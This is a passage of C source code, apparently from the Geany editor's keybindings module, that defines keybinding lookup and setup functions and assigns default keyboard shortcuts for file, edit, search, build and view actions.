handler, almost all keypress events go to this function */ static gboolean on_key_press_event(GtkWidget *widget, GdkEventKey *event, gpointer user_data); static gboolean check_current_word(GeanyDocument *doc, gboolean sci_word); static gboolean read_current_word(GeanyDocument *doc, gboolean sci_word); static gchar *get_current_word_or_sel(GeanyDocument *doc, gboolean sci_word); static gboolean cb_func_file_action(guint key_id); static gboolean cb_func_project_action(guint key_id); static gboolean cb_func_editor_action(guint key_id); static gboolean cb_func_select_action(guint key_id); static gboolean cb_func_format_action(guint key_id); static gboolean cb_func_insert_action(guint key_id); static gboolean cb_func_search_action(guint key_id); static gboolean cb_func_goto_action(guint key_id); static gboolean cb_func_switch_action(guint key_id); static gboolean cb_func_clipboard_action(guint key_id); static gboolean cb_func_build_action(guint key_id); static gboolean cb_func_document_action(guint key_id); static gboolean cb_func_view_action(guint key_id); /* note: new keybindings should normally use per group callbacks */ static void cb_func_menu_help(guint key_id); static void cb_func_menu_preferences(guint key_id); static void cb_func_menu_fullscreen(guint key_id); static void cb_func_menu_messagewindow(guint key_id); static void cb_func_menu_opencolorchooser(guint key_id); static void cb_func_switch_tableft(guint key_id); static void cb_func_switch_tabright(guint key_id); static void cb_func_switch_tablastused(guint key_id); static void cb_func_move_tab(guint key_id); static void add_popup_menu_accels(void); /** Looks up a keybinding item. * @param group Group. * @param key_id Keybinding index for the group. * @return The keybinding. * @since 0.19. */ GeanyKeyBinding *keybindings_get_item(GeanyKeyGroup *group, gsize key_id) { if (group->plugin) { g_assert(key_id < group->plugin_key_count); return &group->plugin_keys[key_id]; } g_assert(key_id < GEANY_KEYS_COUNT); return &binding_ids[key_id]; } /* This is used to set default keybindings on startup. * Menu accels are set in apply_kb_accel(). */ /** Fills a GeanyKeyBinding struct item. * @note Always set @a key and @a mod to 0, otherwise you will likely * cause conflicts with the user's custom, other plugin's keybindings or * future default keybindings. * @param group Group. * @param key_id Keybinding index for the group. * @param callback Function to call when activated, or @c NULL to use the group callback. * Usually it's better to use the group callback instead - see plugin_set_key_group(). * @param key (Lower case) default key, e.g. @c GDK_j, but usually 0 for unset. * @param mod Default modifier, e.g. @c GDK_CONTROL_MASK, but usually 0 for unset. * @param kf_name Key name for the configuration file, such as @c "menu_new". * @param label Label used in the preferences dialog keybindings tab. May contain * underscores - these won't be displayed. * @param menu_item Optional widget to set an accelerator for, or @c NULL. * @return The keybinding - normally this is ignored. */ GeanyKeyBinding *keybindings_set_item(GeanyKeyGroup *group, gsize key_id, GeanyKeyCallback callback, guint key, GdkModifierType mod, const gchar *kf_name, const gchar *label, GtkWidget *menu_item) { GeanyKeyBinding *kb; g_assert(group->name); kb = keybindings_get_item(group, key_id); g_assert(!kb->name); g_ptr_array_add(group->key_items, kb); if (group->plugin) { /* some plugins e.g. GeanyLua need these fields duplicated */ SETPTR(kb->name, g_strdup(kf_name)); SETPTR(kb->label, g_strdup(label)); } else { /* we don't touch these strings unless group->plugin is set, const cast is safe */ kb->name = (gchar *)kf_name; kb->label = (gchar *)label; } kb->key = key; kb->mods = mod; kb->default_key = key; kb->default_mods = mod; kb->callback = callback; kb->menu_item = menu_item; kb->id = key_id; return kb; } static void add_kb_group(GeanyKeyGroup *group, const gchar *name, const gchar *label, GeanyKeyGroupCallback callback, gboolean plugin) { g_ptr_array_add(keybinding_groups, group); group->name = name; group->label = label; group->callback = callback; group->plugin = plugin; group->key_items = g_ptr_array_new(); } GeanyKeyGroup *keybindings_get_core_group(guint id) { static GeanyKeyGroup groups[GEANY_KEY_GROUP_COUNT]; g_return_val_if_fail(id < GEANY_KEY_GROUP_COUNT, NULL); return &groups[id]; } static void add_kb(GeanyKeyGroup *group, gsize key_id, GeanyKeyCallback callback, guint key, GdkModifierType mod, const gchar *kf_name, const gchar *label, const gchar *widget_name) { GtkWidget *widget = widget_name ? ui_lookup_widget(main_widgets.window, widget_name) : NULL; keybindings_set_item(group, key_id, callback, key, mod, kf_name, label, widget); } #define ADD_KB_GROUP(group_id, label, callback) \ add_kb_group(keybindings_get_core_group(group_id),\ keybindings_keyfile_group_name, label, callback, FALSE) static void init_default_kb(void) { GeanyKeyGroup *group; /* visual group order */ ADD_KB_GROUP(GEANY_KEY_GROUP_FILE, _("File"), cb_func_file_action); ADD_KB_GROUP(GEANY_KEY_GROUP_EDITOR, _("Editor"), cb_func_editor_action); ADD_KB_GROUP(GEANY_KEY_GROUP_CLIPBOARD, _("Clipboard"), cb_func_clipboard_action); ADD_KB_GROUP(GEANY_KEY_GROUP_SELECT, _("Select"), cb_func_select_action); ADD_KB_GROUP(GEANY_KEY_GROUP_FORMAT, _("Format"), cb_func_format_action); ADD_KB_GROUP(GEANY_KEY_GROUP_INSERT, _("Insert"), cb_func_insert_action); ADD_KB_GROUP(GEANY_KEY_GROUP_SETTINGS, _("Settings"), NULL); ADD_KB_GROUP(GEANY_KEY_GROUP_SEARCH, _("Search"), cb_func_search_action); ADD_KB_GROUP(GEANY_KEY_GROUP_GOTO, _("Go to"), cb_func_goto_action); ADD_KB_GROUP(GEANY_KEY_GROUP_VIEW, _("View"), cb_func_view_action); ADD_KB_GROUP(GEANY_KEY_GROUP_DOCUMENT, _("Document"), cb_func_document_action); ADD_KB_GROUP(GEANY_KEY_GROUP_PROJECT, _("Project"), cb_func_project_action); ADD_KB_GROUP(GEANY_KEY_GROUP_BUILD, _("Build"), cb_func_build_action); ADD_KB_GROUP(GEANY_KEY_GROUP_TOOLS, _("Tools"), NULL); ADD_KB_GROUP(GEANY_KEY_GROUP_HELP, _("Help"), NULL); ADD_KB_GROUP(GEANY_KEY_GROUP_FOCUS, _("Focus"), cb_func_switch_action); ADD_KB_GROUP(GEANY_KEY_GROUP_NOTEBOOK, _("Notebook tab"), NULL); /* Init all fields of keys with default values. * The menu_item field is always the main menu item, popup menu accelerators are * set in add_popup_menu_accels(). */ group = keybindings_get_core_group(GEANY_KEY_GROUP_FILE); add_kb(group, GEANY_KEYS_FILE_NEW, NULL, GDK_n, GDK_CONTROL_MASK, "menu_new", _("New"), NULL); add_kb(group, GEANY_KEYS_FILE_OPEN, NULL, GDK_o, GDK_CONTROL_MASK, "menu_open", _("Open"), NULL); add_kb(group, GEANY_KEYS_FILE_OPENSELECTED, NULL, GDK_o, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "menu_open_selected", _("Open selected file"), "menu_open_selected_file1"); add_kb(group, GEANY_KEYS_FILE_SAVE, NULL, GDK_s, GDK_CONTROL_MASK, "menu_save", _("Save"), NULL); add_kb(group, GEANY_KEYS_FILE_SAVEAS, NULL, 0, 0, "menu_saveas", _("Save as"), "menu_save_as1"); add_kb(group, GEANY_KEYS_FILE_SAVEALL, NULL, GDK_s, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "menu_saveall", _("Save all"), "menu_save_all1"); add_kb(group, GEANY_KEYS_FILE_PRINT, NULL, GDK_p, GDK_CONTROL_MASK, "menu_print", _("Print"), "print1"); add_kb(group, GEANY_KEYS_FILE_CLOSE, NULL, GDK_w, GDK_CONTROL_MASK, "menu_close", _("Close"), "menu_close1"); add_kb(group, GEANY_KEYS_FILE_CLOSEALL, NULL, GDK_w, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "menu_closeall", _("Close all"), "menu_close_all1"); add_kb(group, GEANY_KEYS_FILE_RELOAD, NULL, GDK_r, GDK_CONTROL_MASK, "menu_reloadfile", _("Reload file"), "menu_reload1"); add_kb(group, GEANY_KEYS_FILE_OPENLASTTAB, NULL, 0, 0, "file_openlasttab", _("Re-open last closed tab"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_PROJECT); add_kb(group, GEANY_KEYS_PROJECT_NEW, NULL, 0, 0, "project_new", _("New"), "project_new1"); add_kb(group, GEANY_KEYS_PROJECT_OPEN, NULL, 0, 0, "project_open", _("Open"), "project_open1"); add_kb(group, GEANY_KEYS_PROJECT_PROPERTIES, NULL, 0, 0, "project_properties", ui_lookup_stock_label(GTK_STOCK_PROPERTIES), "project_properties1"); add_kb(group, GEANY_KEYS_PROJECT_CLOSE, NULL, 0, 0, "project_close", _("Close"), "project_close1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_EDITOR); add_kb(group, GEANY_KEYS_EDITOR_UNDO, NULL, GDK_z, GDK_CONTROL_MASK, "menu_undo", _("Undo"), "menu_undo2"); add_kb(group, GEANY_KEYS_EDITOR_REDO, NULL, GDK_y, GDK_CONTROL_MASK, "menu_redo", _("Redo"), "menu_redo2"); add_kb(group, GEANY_KEYS_EDITOR_DUPLICATELINE, NULL, GDK_d, GDK_CONTROL_MASK, "edit_duplicateline", _("_Duplicate Line or Selection"), "duplicate_line_or_selection1"); add_kb(group, GEANY_KEYS_EDITOR_DELETELINE, NULL, GDK_k, GDK_CONTROL_MASK, "edit_deleteline", _("_Delete Current Line(s)"), "delete_current_lines1"); add_kb(group, GEANY_KEYS_EDITOR_DELETELINETOEND, NULL, GDK_Delete, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "edit_deletelinetoend", _("Delete to line end"), NULL); /* transpose may fit better in format group */ add_kb(group, GEANY_KEYS_EDITOR_TRANSPOSELINE, NULL, 0, 0, "edit_transposeline", _("_Transpose Current Line"), "transpose_current_line1"); add_kb(group, GEANY_KEYS_EDITOR_SCROLLTOLINE, NULL, GDK_l, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "edit_scrolltoline", _("Scroll to current line"), NULL); add_kb(group, GEANY_KEYS_EDITOR_SCROLLLINEUP, NULL, GDK_Up, GDK_MOD1_MASK, "edit_scrolllineup", _("Scroll up the view by one line"), NULL); add_kb(group, GEANY_KEYS_EDITOR_SCROLLLINEDOWN, NULL, GDK_Down, GDK_MOD1_MASK, "edit_scrolllinedown", _("Scroll down the view by one line"), NULL); add_kb(group, GEANY_KEYS_EDITOR_COMPLETESNIPPET, NULL, GDK_Tab, 0, "edit_completesnippet", _("Complete snippet"), NULL); add_kb(group, GEANY_KEYS_EDITOR_SNIPPETNEXTCURSOR, NULL, 0, 0, "move_snippetnextcursor", _("Move cursor in snippet"), NULL); add_kb(group, GEANY_KEYS_EDITOR_SUPPRESSSNIPPETCOMPLETION, NULL, 0, 0, "edit_suppresssnippetcompletion", _("Suppress snippet completion"), NULL); add_kb(group, GEANY_KEYS_EDITOR_CONTEXTACTION, NULL, 0, 0, "popup_contextaction", _("Context Action"), NULL); add_kb(group, GEANY_KEYS_EDITOR_AUTOCOMPLETE, NULL, GDK_space, GDK_CONTROL_MASK, "edit_autocomplete", _("Complete word"), NULL); add_kb(group, GEANY_KEYS_EDITOR_CALLTIP, NULL, GDK_space, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "edit_calltip", _("Show calltip"), NULL); add_kb(group, GEANY_KEYS_EDITOR_MACROLIST, NULL, GDK_Return, GDK_CONTROL_MASK, "edit_macrolist", _("Show macro list"), NULL); add_kb(group, GEANY_KEYS_EDITOR_WORDPARTCOMPLETION, NULL, GDK_Tab, 0, "edit_wordpartcompletion", _("Word part completion"), NULL); add_kb(group, GEANY_KEYS_EDITOR_MOVELINEUP, NULL, GDK_Page_Up, GDK_MOD1_MASK, "edit_movelineup", _("Move line(s) up"), NULL); add_kb(group, GEANY_KEYS_EDITOR_MOVELINEDOWN, NULL, GDK_Page_Down, GDK_MOD1_MASK, "edit_movelinedown", _("Move line(s) down"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_CLIPBOARD); add_kb(group, GEANY_KEYS_CLIPBOARD_CUT, NULL, GDK_x, GDK_CONTROL_MASK, "menu_cut", _("Cut"), NULL); add_kb(group, GEANY_KEYS_CLIPBOARD_COPY, NULL, GDK_c, GDK_CONTROL_MASK, "menu_copy", _("Copy"), NULL); add_kb(group, GEANY_KEYS_CLIPBOARD_PASTE, NULL, GDK_v, GDK_CONTROL_MASK, "menu_paste", _("Paste"), NULL); add_kb(group, GEANY_KEYS_CLIPBOARD_COPYLINE, NULL, GDK_c, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "edit_copyline", _("_Copy Current Line(s)"), "copy_current_lines1"); add_kb(group, GEANY_KEYS_CLIPBOARD_CUTLINE, NULL, GDK_x, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "edit_cutline", _("_Cut Current Line(s)"), "cut_current_lines1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_SELECT); add_kb(group, GEANY_KEYS_SELECT_ALL, NULL, GDK_a, GDK_CONTROL_MASK, "menu_selectall", _("Select All"), "menu_select_all1"); add_kb(group, GEANY_KEYS_SELECT_WORD, NULL, GDK_w, GDK_SHIFT_MASK | GDK_MOD1_MASK, "edit_selectword", _("Select current word"), NULL); add_kb(group, GEANY_KEYS_SELECT_LINE, NULL, GDK_l, GDK_SHIFT_MASK | GDK_MOD1_MASK, "edit_selectline", _("_Select Current Line(s)"), "select_current_lines1"); add_kb(group, GEANY_KEYS_SELECT_PARAGRAPH, NULL, GDK_p, GDK_SHIFT_MASK | GDK_MOD1_MASK, "edit_selectparagraph", _("_Select Current Paragraph"), "select_current_paragraph1"); add_kb(group, GEANY_KEYS_SELECT_WORDPARTLEFT, NULL, 0, 0, "edit_selectwordpartleft", _("Select to previous word part"), NULL); add_kb(group, GEANY_KEYS_SELECT_WORDPARTRIGHT, NULL, 0, 0, "edit_selectwordpartright", _("Select to next word part"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_FORMAT); add_kb(group, GEANY_KEYS_FORMAT_TOGGLECASE, NULL, GDK_u, GDK_CONTROL_MASK | GDK_MOD1_MASK, "edit_togglecase", _("T_oggle Case of Selection"), "menu_toggle_case2"); add_kb(group, GEANY_KEYS_FORMAT_COMMENTLINETOGGLE, NULL, GDK_e, GDK_CONTROL_MASK, "edit_commentlinetoggle", _("Toggle line commentation"), "menu_toggle_line_commentation1"); add_kb(group, GEANY_KEYS_FORMAT_COMMENTLINE, NULL, 0, 0, "edit_commentline", _("Comment line(s)"), "menu_comment_line1"); add_kb(group, GEANY_KEYS_FORMAT_UNCOMMENTLINE, NULL, 0, 0, "edit_uncommentline", _("Uncomment line(s)"), "menu_uncomment_line1"); add_kb(group, GEANY_KEYS_FORMAT_INCREASEINDENT, NULL, GDK_i, GDK_CONTROL_MASK, "edit_increaseindent", _("Increase indent"), "menu_increase_indent1"); add_kb(group, GEANY_KEYS_FORMAT_DECREASEINDENT, NULL, GDK_u, GDK_CONTROL_MASK, "edit_decreaseindent", _("Decrease indent"), "menu_decrease_indent1"); add_kb(group, GEANY_KEYS_FORMAT_INCREASEINDENTBYSPACE, NULL, 0, 0, "edit_increaseindentbyspace", _("Increase indent by one space"), NULL); add_kb(group, GEANY_KEYS_FORMAT_DECREASEINDENTBYSPACE, NULL, 0, 0, "edit_decreaseindentbyspace", _("Decrease indent by one space"), NULL); add_kb(group, GEANY_KEYS_FORMAT_AUTOINDENT, NULL, 0, 0, "edit_autoindent", _("_Smart Line Indent"), "smart_line_indent1"); add_kb(group, GEANY_KEYS_FORMAT_SENDTOCMD1, NULL, GDK_1, GDK_CONTROL_MASK, "edit_sendtocmd1", _("Send to Custom Command 1"), NULL); add_kb(group, GEANY_KEYS_FORMAT_SENDTOCMD2, NULL, GDK_2, GDK_CONTROL_MASK, "edit_sendtocmd2", _("Send to Custom Command 2"), NULL); add_kb(group, GEANY_KEYS_FORMAT_SENDTOCMD3, NULL, GDK_3, GDK_CONTROL_MASK, "edit_sendtocmd3", _("Send to Custom Command 3"), NULL); /* may fit better in editor group */ add_kb(group, GEANY_KEYS_FORMAT_SENDTOVTE, NULL, 0, 0, "edit_sendtovte", _("_Send Selection to Terminal"), "send_selection_to_vte1"); add_kb(group, GEANY_KEYS_FORMAT_REFLOWPARAGRAPH, NULL, GDK_j, GDK_CONTROL_MASK, "format_reflowparagraph", _("_Reflow Lines/Block"), "reflow_lines_block1"); keybindings_set_item(group, GEANY_KEYS_FORMAT_JOINLINES, NULL, 0, 0, "edit_joinlines", _("Join lines"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_INSERT); add_kb(group, GEANY_KEYS_INSERT_DATE, NULL, GDK_d, GDK_SHIFT_MASK | GDK_MOD1_MASK, "menu_insert_date", _("Insert date"), "insert_date_custom1"); add_kb(group, GEANY_KEYS_INSERT_ALTWHITESPACE, NULL, 0, 0, "edit_insertwhitespace", _("_Insert Alternative White Space"), "insert_alternative_white_space1"); add_kb(group, GEANY_KEYS_INSERT_LINEBEFORE, NULL, 0, 0, "edit_insertlinebefore", _("Insert New Line Before Current"), NULL); add_kb(group, GEANY_KEYS_INSERT_LINEAFTER, NULL, 0, 0, "edit_insertlineafter", _("Insert New Line After Current"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_SETTINGS); add_kb(group, GEANY_KEYS_SETTINGS_PREFERENCES, cb_func_menu_preferences, GDK_p, GDK_CONTROL_MASK | GDK_MOD1_MASK, "menu_preferences", _("Preferences"), "preferences1"); add_kb(group, GEANY_KEYS_SETTINGS_PLUGINPREFERENCES, cb_func_menu_preferences, 0, 0, "menu_pluginpreferences", _("P_lugin Preferences"), "plugin_preferences1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_SEARCH); add_kb(group, GEANY_KEYS_SEARCH_FIND, NULL, GDK_f, GDK_CONTROL_MASK, "menu_find", _("Find"), "find1"); add_kb(group, GEANY_KEYS_SEARCH_FINDNEXT, NULL, GDK_g, GDK_CONTROL_MASK, "menu_findnext", _("Find Next"), "find_next1"); add_kb(group, GEANY_KEYS_SEARCH_FINDPREVIOUS, NULL, GDK_g, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "menu_findprevious", _("Find Previous"), "find_previous1"); add_kb(group, GEANY_KEYS_SEARCH_FINDNEXTSEL, NULL, 0, 0, "menu_findnextsel", _("Find Next _Selection"), "find_nextsel1"); add_kb(group, GEANY_KEYS_SEARCH_FINDPREVSEL, NULL, 0, 0, "menu_findprevsel", _("Find Pre_vious Selection"), "find_prevsel1"); add_kb(group, GEANY_KEYS_SEARCH_REPLACE, NULL, GDK_h, GDK_CONTROL_MASK, "menu_replace", _("Replace"), "replace1"); add_kb(group, GEANY_KEYS_SEARCH_FINDINFILES, NULL, GDK_f, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "menu_findinfiles", _("Find in Files"), "find_in_files1"); add_kb(group, GEANY_KEYS_SEARCH_NEXTMESSAGE, NULL, 0, 0, "menu_nextmessage", _("Next Message"), "next_message1"); add_kb(group, GEANY_KEYS_SEARCH_PREVIOUSMESSAGE, NULL, 0, 0, "menu_previousmessage", _("Previous Message"), "previous_message1"); add_kb(group, GEANY_KEYS_SEARCH_FINDUSAGE, NULL, GDK_e, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "popup_findusage", _("Find Usage"), "find_usage1"); add_kb(group, GEANY_KEYS_SEARCH_FINDDOCUMENTUSAGE, NULL, GDK_d, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "popup_finddocumentusage", _("Find Document Usage"), "find_document_usage1"); add_kb(group, GEANY_KEYS_SEARCH_MARKALL, NULL, GDK_m, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "find_markall", _("_Mark All"), "mark_all1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_GOTO); add_kb(group, GEANY_KEYS_GOTO_BACK, NULL, GDK_Left, GDK_MOD1_MASK, "nav_back", _("Navigate back a location"), NULL); add_kb(group, GEANY_KEYS_GOTO_FORWARD, NULL, GDK_Right, GDK_MOD1_MASK, "nav_forward", _("Navigate forward a location"), NULL); add_kb(group, GEANY_KEYS_GOTO_LINE, NULL, GDK_l, GDK_CONTROL_MASK, "menu_gotoline", _("Go to Line"), "go_to_line1"); add_kb(group, GEANY_KEYS_GOTO_MATCHINGBRACE, NULL, GDK_b, GDK_CONTROL_MASK, "edit_gotomatchingbrace", _("Go to matching brace"), NULL); add_kb(group, GEANY_KEYS_GOTO_TOGGLEMARKER, NULL, GDK_m, GDK_CONTROL_MASK, "edit_togglemarker", _("Toggle marker"), NULL); add_kb(group, GEANY_KEYS_GOTO_NEXTMARKER, NULL, GDK_period, GDK_CONTROL_MASK, "edit_gotonextmarker", _("_Go to Next Marker"), "go_to_next_marker1"); add_kb(group, GEANY_KEYS_GOTO_PREVIOUSMARKER, NULL, GDK_comma, GDK_CONTROL_MASK, "edit_gotopreviousmarker", _("_Go to Previous Marker"), "go_to_previous_marker1"); add_kb(group, GEANY_KEYS_GOTO_TAGDEFINITION, NULL, GDK_t, GDK_CONTROL_MASK, "popup_gototagdefinition", _("Go to Tag Definition"), "goto_tag_definition1"); add_kb(group, GEANY_KEYS_GOTO_TAGDECLARATION, NULL, GDK_t, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "popup_gototagdeclaration", _("Go to Tag Declaration"), "goto_tag_declaration1"); add_kb(group, GEANY_KEYS_GOTO_LINESTART, NULL, GDK_Home, 0, "edit_gotolinestart", _("Go to Start of Line"), NULL); add_kb(group, GEANY_KEYS_GOTO_LINEEND, NULL, GDK_End, 0, "edit_gotolineend", _("Go to End of Line"), NULL); add_kb(group, GEANY_KEYS_GOTO_LINEENDVISUAL, NULL, GDK_End, GDK_MOD1_MASK, "edit_gotolineendvisual", _("Go to End of Display Line"), NULL); add_kb(group, GEANY_KEYS_GOTO_PREVWORDPART, NULL, GDK_slash, GDK_CONTROL_MASK, "edit_prevwordstart", _("Go to Previous Word Part"), NULL); add_kb(group, GEANY_KEYS_GOTO_NEXTWORDPART, NULL, GDK_backslash, GDK_CONTROL_MASK, "edit_nextwordstart", _("Go to Next Word Part"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_VIEW); add_kb(group, GEANY_KEYS_VIEW_TOGGLEALL, NULL, 0, 0, "menu_toggleall", _("Toggle All Additional Widgets"), "menu_toggle_all_additional_widgets1"); add_kb(group, GEANY_KEYS_VIEW_FULLSCREEN, cb_func_menu_fullscreen, GDK_F11, 0, "menu_fullscreen", _("Fullscreen"), "menu_fullscreen1"); add_kb(group, GEANY_KEYS_VIEW_MESSAGEWINDOW, cb_func_menu_messagewindow, 0, 0, "menu_messagewindow", _("Toggle Messages Window"), "menu_show_messages_window1"); add_kb(group, GEANY_KEYS_VIEW_SIDEBAR, NULL, 0, 0, "toggle_sidebar", _("Toggle Sidebar"), "menu_show_sidebar1"); add_kb(group, GEANY_KEYS_VIEW_ZOOMIN, NULL, GDK_plus, GDK_CONTROL_MASK, "menu_zoomin", _("Zoom In"), "menu_zoom_in1"); add_kb(group, GEANY_KEYS_VIEW_ZOOMOUT, NULL, GDK_minus, GDK_CONTROL_MASK, "menu_zoomout", _("Zoom Out"), "menu_zoom_out1"); add_kb(group, GEANY_KEYS_VIEW_ZOOMRESET, NULL, GDK_0, GDK_CONTROL_MASK, "normal_size", _("Zoom Reset"), "normal_size1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_FOCUS); add_kb(group, GEANY_KEYS_FOCUS_EDITOR, NULL, GDK_F2, 0, "switch_editor", _("Switch to Editor"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SEARCHBAR, NULL, GDK_F7, 0, "switch_search_bar", _("Switch to Search Bar"), NULL); add_kb(group, GEANY_KEYS_FOCUS_MESSAGE_WINDOW, NULL, 0, 0, "switch_message_window", _("Switch to Message Window"), NULL); add_kb(group, GEANY_KEYS_FOCUS_COMPILER, NULL, 0, 0, "switch_compiler", _("Switch to Compiler"), NULL); add_kb(group, GEANY_KEYS_FOCUS_MESSAGES, NULL, 0, 0, "switch_messages", _("Switch to Messages"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SCRIBBLE, NULL, GDK_F6, 0, "switch_scribble", _("Switch to Scribble"), NULL); add_kb(group, GEANY_KEYS_FOCUS_VTE, NULL, GDK_F4, 0, "switch_vte", _("Switch to VTE"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SIDEBAR, NULL, 0, 0, "switch_sidebar", _("Switch to Sidebar"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SIDEBAR_SYMBOL_LIST, NULL, 0, 0, "switch_sidebar_symbol_list", _("Switch to Sidebar Symbol List"), NULL); add_kb(group, GEANY_KEYS_FOCUS_SIDEBAR_DOCUMENT_LIST, NULL, 0, 0, "switch_sidebar_doc_list", _("Switch to Sidebar Document List"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_NOTEBOOK); add_kb(group, GEANY_KEYS_NOTEBOOK_SWITCHTABLEFT, cb_func_switch_tableft, GDK_Page_Up, GDK_CONTROL_MASK, "switch_tableft", _("Switch to left document"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_SWITCHTABRIGHT, cb_func_switch_tabright, GDK_Page_Down, GDK_CONTROL_MASK, "switch_tabright", _("Switch to right document"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_SWITCHTABLASTUSED, cb_func_switch_tablastused, GDK_Tab, GDK_CONTROL_MASK, "switch_tablastused", _("Switch to last used document"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_MOVETABLEFT, cb_func_move_tab, GDK_Page_Up, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "move_tableft", _("Move document left"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_MOVETABRIGHT, cb_func_move_tab, GDK_Page_Down, GDK_CONTROL_MASK | GDK_SHIFT_MASK, "move_tabright", _("Move document right"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_MOVETABFIRST, cb_func_move_tab, 0, 0, "move_tabfirst", _("Move document first"), NULL); add_kb(group, GEANY_KEYS_NOTEBOOK_MOVETABLAST, cb_func_move_tab, 0, 0, "move_tablast", _("Move document last"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_DOCUMENT); add_kb(group, GEANY_KEYS_DOCUMENT_LINEWRAP, NULL, 0, 0, "menu_linewrap", _("Toggle Line wrapping"), "menu_line_wrapping1"); add_kb(group, GEANY_KEYS_DOCUMENT_LINEBREAK, NULL, 0, 0, "menu_linebreak", _("Toggle Line breaking"), "line_breaking1"); add_kb(group, GEANY_KEYS_DOCUMENT_REPLACETABS, NULL, 0, 0, "menu_replacetabs", _("Replace tabs by space"), "menu_replace_tabs"); add_kb(group, GEANY_KEYS_DOCUMENT_REPLACESPACES, NULL, 0, 0, "menu_replacespaces", _("Replace spaces by tabs"), "menu_replace_spaces"); add_kb(group, GEANY_KEYS_DOCUMENT_TOGGLEFOLD, NULL, 0, 0, "menu_togglefold", _("Toggle current fold"), NULL); add_kb(group, GEANY_KEYS_DOCUMENT_FOLDALL, NULL, 0, 0, "menu_foldall", _("Fold all"), "menu_fold_all1"); add_kb(group, GEANY_KEYS_DOCUMENT_UNFOLDALL, NULL, 0, 0, "menu_unfoldall", _("Unfold all"), "menu_unfold_all1"); add_kb(group, GEANY_KEYS_DOCUMENT_RELOADTAGLIST, NULL, GDK_r, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "reloadtaglist", _("Reload symbol list"), NULL); add_kb(group, GEANY_KEYS_DOCUMENT_REMOVE_MARKERS, NULL, 0, 0, "remove_markers", _("Remove Markers"), "remove_markers1"); add_kb(group, GEANY_KEYS_DOCUMENT_REMOVE_ERROR_INDICATORS, NULL, 0, 0, "remove_error_indicators", _("Remove Error Indicators"), "menu_remove_indicators1"); add_kb(group, GEANY_KEYS_DOCUMENT_REMOVE_MARKERS_INDICATORS, NULL, 0, 0, "remove_markers_and_indicators", _("Remove Markers and Error Indicators"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_BUILD); add_kb(group, GEANY_KEYS_BUILD_COMPILE, NULL, GDK_F8, 0, "build_compile", _("Compile"), NULL); add_kb(group, GEANY_KEYS_BUILD_LINK, NULL, GDK_F9, 0, "build_link", _("Build"), NULL); add_kb(group, GEANY_KEYS_BUILD_MAKE, NULL, GDK_F9, GDK_SHIFT_MASK, "build_make", _("Make all"), NULL); add_kb(group, GEANY_KEYS_BUILD_MAKEOWNTARGET, NULL, GDK_F9, GDK_SHIFT_MASK | GDK_CONTROL_MASK, "build_makeowntarget", _("Make custom target"), NULL); add_kb(group, GEANY_KEYS_BUILD_MAKEOBJECT, NULL, GDK_F8, GDK_SHIFT_MASK, "build_makeobject", _("Make object"), NULL); add_kb(group, GEANY_KEYS_BUILD_NEXTERROR, NULL, 0, 0, "build_nexterror", _("Next error"), NULL); add_kb(group, GEANY_KEYS_BUILD_PREVIOUSERROR, NULL, 0, 0, "build_previouserror", _("Previous error"), NULL); add_kb(group, GEANY_KEYS_BUILD_RUN, NULL, GDK_F5, 0, "build_run", _("Run"), NULL); add_kb(group, GEANY_KEYS_BUILD_OPTIONS, NULL, 0, 0, "build_options", _("Build options"), NULL); group = keybindings_get_core_group(GEANY_KEY_GROUP_TOOLS); add_kb(group, GEANY_KEYS_TOOLS_OPENCOLORCHOOSER, cb_func_menu_opencolorchooser, 0, 0, "menu_opencolorchooser", _("Show Color Chooser"), "menu_choose_color1"); group = keybindings_get_core_group(GEANY_KEY_GROUP_HELP); add_kb(group, GEANY_KEYS_HELP_HELP, cb_func_menu_help, GDK_F1, 0, "menu_help", _("Help"), "help1"); } void keybindings_init(void) { memset(binding_ids, 0, sizeof binding_ids); keybinding_groups = g_ptr_array_sized_new(GEANY_KEY_GROUP_COUNT); kb_accel_group = gtk_accel_group_new(); init_default_kb(); gtk_window_add_accel_group(GTK_WINDOW(main_widgets.window), kb_accel_group); g_signal_connect(main_widgets.window, "key-press-event", G_CALLBACK(on_key_press_event), NULL); } typedef void (*KBItemCallback) (GeanyKeyGroup *group, GeanyKeyBinding *kb, gpointer user_data); static void keybindings_foreach(KBItemCallback cb, gpointer user_data) { gsize g, i; GeanyKeyGroup *group; GeanyKeyBinding *kb; foreach_ptr_array(group, g, keybinding_groups) { foreach_ptr_array(kb, i, group->key_items) cb(group, kb, user_data); } } static void 